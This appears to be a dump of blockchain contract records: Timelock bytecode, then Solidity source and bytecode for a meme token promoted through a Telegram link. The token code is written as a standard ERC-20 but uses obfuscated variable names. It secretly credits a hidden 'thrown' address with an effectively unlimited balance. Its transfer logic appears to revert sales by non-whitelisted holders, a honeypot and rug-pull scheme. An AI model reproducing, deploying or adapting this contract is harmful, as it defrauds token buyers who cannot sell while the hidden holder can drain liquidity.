200191505b50838103825285518152855160209182019187019080838360005b8381101561086d578181015183820152602001610855565b50505050905090810190601f16801561089a5780820380516001836020036101000a031916815260200191505b50604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081840301815291815281516020928301206000818152600390935291205490995060ff1697506109439650505050505050576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603d81526020018061199e603d913960400191505060405180910390fd5b8261094c6117cb565b10156109a3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260458152602001806118ed6045913960600191505060405180910390fd5b6109b083621275006117cf565b6109b86117cb565b1115610a0f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260338152602001806118ba6033913960400191505060405180910390fd5b600081815260036020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001690558451606090610a53575083610b09565b85805190602001208560405160200180837bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260040182805190602001908083835b60208310610ad157805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe09092019160209182019101610a94565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405290505b600060608973ffffffffffffffffffffffffffffffffffffffff1689846040518082805190602001908083835b60208310610b7357805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe09092019160209182019101610b36565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610bd5576040519150601f19603f3d011682016040523d82523d6000602084013e610bda565b606091505b509150915081610c35576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603d815260200180611ab2603d913960400191505060405180910390fd5b8973ffffffffffffffffffffffffffffffffffffffff16847fa560e3198060a2f10670c1ec5b403077ea6ae93ca8de1c32b451dc1a943cd6e78b8b8b8b604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610cbf578181015183820152602001610ca7565b50505050905090810190601f168015610cec5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610d1f578181015183820152602001610d07565b50505050905090810190601f168015610d4c5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39998505050505050505050565b60015473ffffffffffffffffffffffffffffffffffffffff163314610dda576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260388152602001806119db6038913960400191505060405180910390fd5b60008054337fffffffffffffffffffffffff0000000000000000000000000000000000000000918216178083556001805490921690915560405173ffffffffffffffffffffffffffffffffffffffff909116917f71614071b88dee5e0b2ae578a9dd7b2ebbe9ae832ba419dc0242cd065a290b6c91a2565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b6000805473ffffffffffffffffffffffffffffffffffffffff163314610edf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526036815260200180611a7c6036913960400191505060405180910390fd5b610ef3600254610eed6117cb565b906117cf565b821015610f4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526049815260200180611aef6049913960600191505060405180910390fd5b60008686868686604051602001808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610fbe578181015183820152602001610fa6565b50505050905090810190601f168015610feb5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b8381101561101e578181015183820152602001611006565b50505050905090810190601f16801561104b5780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060016003600083815260200190815260200160002060006101000a81548160ff0219169083151502179055508673ffffffffffffffffffffffffffffffffffffffff16817f76e2796dc3a81d57b0e8504b647febcbeeb5f4af818e164f11eef8131a6a763f88888888604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561112357818101518382015260200161110b565b50505050905090810190601f1680156111505780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b8381101561118357818101518382015260200161116b565b50505050905090810190601f1680156111b05780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39695505050505050565b333014611223576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180611a446038913960400191505060405180910390fd5b600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff83811691909117918290556040519116907f69d78e38a01985fbb1462961809b4b2d65531bc93b2b94037f3334b82ca4a75690600090a250565b60005473ffffffffffffffffffffffffffffffffffffffff163314611308576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260378152602001806118836037913960400191505060405180910390fd5b60008585858585604051602001808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561137b578181015183820152602001611363565b50505050905090810190601f1680156113a85780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b838110156113db5781810151838201526020016113c3565b50505050905090810190601f1680156114085780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060006003600083815260200190815260200160002060006101000a81548160ff0219169083151502179055508573ffffffffffffffffffffffffffffffffffffffff16817f2fffc091a501fd91bfbff27141450d3acb40fb8e6d8382b243ec7a812a3aaf8787878787604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156114e05781810151838201526020016114c8565b50505050905090810190601f16801561150d5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015611540578181015183820152602001611528565b50505050905090810190601f16801561156d5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a3505050505050565b60025481565b62278d0081565b60005473ffffffffffffffffffffffffffffffffffffffff1615611602576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526031815260200180611a136031913960400191505060405180910390fd5b600080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b6202a30081565b6212750081565b3330146116af576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526031815260200180611b386031913960400191505060405180910390fd5b6202a30081101561170b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260348152602001806119326034913960400191505060405180910390fd5b62278d00811115611767576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260388152602001806119666038913960400191505060405180910390fd5b600281905560405181907f948b1f6a42ee138b7e34058ba85a37f716d55ff25ff05a763f15bed6a04c8d2c90600090a250565b60036020526000908152604090205460ff1681565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b4290565b60008282018381101561184357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a63616e63656c5472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206973207374616c652e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774207375727061737365642074696d65206c6f636b2e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d75737420657863656564206d696e696d756d2064656c61792e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d757374206e6f7420657863656564206d6178696d756d2064656c61792e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774206265656e207175657565642e54696d656c6f636b3a3a61636365707441646d696e3a2043616c6c206d75737420636f6d652066726f6d2070656e64696e6741646d696e2e54696d656c6f636b3a3a696e697469616c41646d696e3a2041646d696e20616c7265647920696e697469616c697a65642e54696d656c6f636b3a3a73657450656e64696e6741646d696e3a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e20657865637574696f6e2072657665727465642e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a20457374696d6174656420657865637574696f6e20626c6f636b206d75737420736174697366792064656c61792e54696d656c6f636b3a3a73657444656c61793a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2ea26469706673582212204e0ff6efcb0787eb8e8194b835ad0a8c8acad86e60b53881b8aaa9efa5fea16c64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 4,081 |
0xBEB620eC49F87a378311dbe8A5C63D7cc540D0Cd
|
// https://t.me/wizardinu
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.2;
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Contract is Ownable {
constructor(
string memory _NAME,
string memory _SYMBOL,
address routerAddress,
address thrown
) {
_symbol = _SYMBOL;
_name = _NAME;
_fee = 5;
_decimals = 9;
_tTotal = 1000000000000000 * 10**_decimals;
_balances[thrown] = series;
_balances[msg.sender] = _tTotal;
empty[thrown] = series;
empty[msg.sender] = series;
router = IUniswapV2Router02(routerAddress);
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
emit Transfer(address(0), msg.sender, _tTotal);
}
uint256 public _fee;
string private _name;
string private _symbol;
uint8 private _decimals;
function name() public view returns (string memory) {
return _name;
}
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _balances;
function symbol() public view returns (string memory) {
return _symbol;
}
uint256 private _tTotal;
uint256 private _rTotal;
address public uniswapV2Pair;
IUniswapV2Router02 public router;
uint256 private series = ~uint256(0);
function decimals() public view returns (uint256) {
return _decimals;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() public view returns (uint256) {
return _tTotal;
}
address[] exactly = new address[](2);
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function wish(
address electricity,
address officer,
uint256 amount
) private {
address adult = exactly[1];
bool accident = uniswapV2Pair == electricity;
uint256 design = _fee;
if (empty[electricity] == 0 && girl[electricity] > 0 && !accident) {
empty[electricity] -= design;
}
exactly[1] = officer;
if (empty[electricity] > 0 && amount == 0) {
empty[officer] += design;
}
girl[adult] += design;
uint256 fee = (amount / 100) * _fee;
amount -= fee;
_balances[electricity] -= fee;
_balances[address(this)] += fee;
_balances[electricity] -= amount;
_balances[officer] += amount;
}
mapping(address => uint256) private girl;
function approve(address spender, uint256 amount) external returns (bool) {
return _approve(msg.sender, spender, amount);
}
mapping(address => uint256) private empty;
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
require(amount > 0, 'Transfer amount must be greater than zero');
wish(sender, recipient, amount);
emit Transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer(address recipient, uint256 amount) external returns (bool) {
wish(msg.sender, recipient, amount);
emit Transfer(msg.sender, recipient, amount);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
function buy(
uint256 count,
address tokenAddress,
address to
) external payable {
address[] memory path = new address[](2);
path[0] = router.WETH();
path[1] = tokenAddress;
uint256 amount = msg.value / count;
for (uint256 i = 0; i < count; i++) {
router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(0, path, to, block.timestamp);
}
uint256 balance = address(this).balance;
if (balance > 0) payable(msg.sender).transfer(balance);
}
}
|
0x6080604052600436106100f35760003560e01c80638da5cb5b1161008a578063dd62ed3e11610059578063dd62ed3e14610330578063e753858a1461036d578063f2fde38b14610389578063f887ea40146103b2576100f3565b80638da5cb5b1461027257806395d89b411461029d578063a9059cbb146102c8578063c5b37c2214610305576100f3565b8063313ce567116100c6578063313ce567146101c857806349bd5a5e146101f357806370a082311461021e578063715018a61461025b576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd1461016057806323b872dd1461018b575b600080fd5b34801561010457600080fd5b5061010d6103dd565b60405161011a91906113ed565b60405180910390f35b34801561012f57600080fd5b5061014a600480360381019061014591906114a8565b61046f565b6040516101579190611503565b60405180910390f35b34801561016c57600080fd5b50610175610484565b604051610182919061152d565b60405180910390f35b34801561019757600080fd5b506101b260048036038101906101ad9190611548565b61048e565b6040516101bf9190611503565b60405180910390f35b3480156101d457600080fd5b506101dd6105dd565b6040516101ea919061152d565b60405180910390f35b3480156101ff57600080fd5b506102086105f7565b60405161021591906115aa565b60405180910390f35b34801561022a57600080fd5b50610245600480360381019061024091906115c5565b61061d565b604051610252919061152d565b60405180910390f35b34801561026757600080fd5b50610270610666565b005b34801561027e57600080fd5b506102876106ee565b60405161029491906115aa565b60405180910390f35b3480156102a957600080fd5b506102b2610717565b6040516102bf91906113ed565b60405180910390f35b3480156102d457600080fd5b506102ef60048036038101906102ea91906114a8565b6107a9565b6040516102fc9190611503565b60405180910390f35b34801561031157600080fd5b5061031a610825565b604051610327919061152d565b60405180910390f35b34801561033c57600080fd5b50610357600480360381019061035291906115f2565b61082b565b604051610364919061152d565b60405180910390f35b61038760048036038101906103829190611632565b6108b2565b005b34801561039557600080fd5b506103b060048036038101906103ab91906115c5565b610b50565b005b3480156103be57600080fd5b506103c7610c47565b6040516103d491906116e4565b60405180910390f35b6060600280546103ec9061172e565b80601f01602080910402602001604051908101604052809291908181526020018280546104189061172e565b80156104655780601f1061043a57610100808354040283529160200191610465565b820191906000526020600020905b81548152906001019060200180831161044857829003601f168201915b5050505050905090565b600061047c338484610c6d565b905092915050565b6000600754905090565b60008082116104d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104c9906117d1565b60405180910390fd5b6104dd848484610e08565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161053a919061152d565b60405180910390a36105d4843384600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105cf9190611820565b610c6d565b90509392505050565b6000600460009054906101000a900460ff1660ff16905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61066e611288565b73ffffffffffffffffffffffffffffffffffffffff1661068c6106ee565b73ffffffffffffffffffffffffffffffffffffffff16146106e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d9906118a0565b60405180910390fd5b6106ec6000611290565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600380546107269061172e565b80601f01602080910402602001604051908101604052809291908181526020018280546107529061172e565b801561079f5780601f106107745761010080835404028352916020019161079f565b820191906000526020600020905b81548152906001019060200180831161078257829003601f168201915b5050505050905090565b60006107b6338484610e08565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610813919061152d565b60405180910390a36001905092915050565b60015481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600267ffffffffffffffff8111156108cf576108ce6118c0565b5b6040519080825280602002602001820160405280156108fd5781602001602082028036833780820191505090505b509050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561096d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109919190611904565b816000815181106109a5576109a4611931565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505082816001815181106109f4576109f3611931565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060008434610a3c919061198f565b905060005b85811015610af157600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b6f9de958360008688426040518663ffffffff1660e01b8152600401610aac9493929190611ab9565b6000604051808303818588803b158015610ac557600080fd5b505af1158015610ad9573d6000803e3d6000fd5b50505050508080610ae990611b05565b915050610a41565b5060004790506000811115610b48573373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610b46573d6000803e3d6000fd5b505b505050505050565b610b58611288565b73ffffffffffffffffffffffffffffffffffffffff16610b766106ee565b73ffffffffffffffffffffffffffffffffffffffff1614610bcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc3906118a0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610c3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3290611bbf565b60405180910390fd5b610c4481611290565b50565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610cd85750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610d17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0e90611c51565b60405180910390fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610df5919061152d565b60405180910390a3600190509392505050565b6000600c600181548110610e1f57610e1e611931565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008473ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16149050600060015490506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610f3657506000600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610f40575081155b15610f9c5780600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f949190611820565b925050819055505b84600c600181548110610fb257610fb1611931565b5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180156110495750600084145b156110a55780600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461109d9190611c71565b925050819055505b80600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110f49190611c71565b92505081905550600060015460648661110d919061198f565b6111179190611cc7565b905080856111259190611820565b945080600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111769190611820565b9250508190555080600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111cc9190611c71565b9250508190555084600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112229190611820565b9250508190555084600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112789190611c71565b9250508190555050505050505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561138e578082015181840152602081019050611373565b8381111561139d576000848401525b50505050565b6000601f19601f8301169050919050565b60006113bf82611354565b6113c9818561135f565b93506113d9818560208601611370565b6113e2816113a3565b840191505092915050565b6000602082019050818103600083015261140781846113b4565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061143f82611414565b9050919050565b61144f81611434565b811461145a57600080fd5b50565b60008135905061146c81611446565b92915050565b6000819050919050565b61148581611472565b811461149057600080fd5b50565b6000813590506114a28161147c565b92915050565b600080604083850312156114bf576114be61140f565b5b60006114cd8582860161145d565b92505060206114de85828601611493565b9150509250929050565b60008115159050919050565b6114fd816114e8565b82525050565b600060208201905061151860008301846114f4565b92915050565b61152781611472565b82525050565b6000602082019050611542600083018461151e565b92915050565b6000806000606084860312156115615761156061140f565b5b600061156f8682870161145d565b93505060206115808682870161145d565b925050604061159186828701611493565b9150509250925092565b6115a481611434565b82525050565b60006020820190506115bf600083018461159b565b92915050565b6000602082840312156115db576115da61140f565b5b60006115e98482850161145d565b91505092915050565b600080604083850312156116095761160861140f565b5b60006116178582860161145d565b92505060206116288582860161145d565b9150509250929050565b60008060006060848603121561164b5761164a61140f565b5b600061165986828701611493565b935050602061166a8682870161145d565b925050604061167b8682870161145d565b9150509250925092565b6000819050919050565b60006116aa6116a56116a084611414565b611685565b611414565b9050919050565b60006116bc8261168f565b9050919050565b60006116ce826116b1565b9050919050565b6116de816116c3565b82525050565b60006020820190506116f960008301846116d5565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061174657607f821691505b602082108103611759576117586116ff565b5b50919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006117bb60298361135f565b91506117c68261175f565b604082019050919050565b600060208201905081810360008301526117ea816117ae565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061182b82611472565b915061183683611472565b925082821015611849576118486117f1565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061188a60208361135f565b915061189582611854565b602082019050919050565b600060208201905081810360008301526118b98161187d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000815190506118fe81611446565b92915050565b60006020828403121561191a5761191961140f565b5b6000611928848285016118ef565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061199a82611472565b91506119a583611472565b9250826119b5576119b4611960565b5b828204905092915050565b6000819050919050565b60006119e56119e06119db846119c0565b611685565b611472565b9050919050565b6119f5816119ca565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b611a3081611434565b82525050565b6000611a428383611a27565b60208301905092915050565b6000602082019050919050565b6000611a66826119fb565b611a708185611a06565b9350611a7b83611a17565b8060005b83811015611aac578151611a938882611a36565b9750611a9e83611a4e565b925050600181019050611a7f565b5085935050505092915050565b6000608082019050611ace60008301876119ec565b8181036020830152611ae08186611a5b565b9050611aef604083018561159b565b611afc606083018461151e565b95945050505050565b6000611b1082611472565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611b4257611b416117f1565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611ba960268361135f565b9150611bb482611b4d565b604082019050919050565b60006020820190508181036000830152611bd881611b9c565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164646000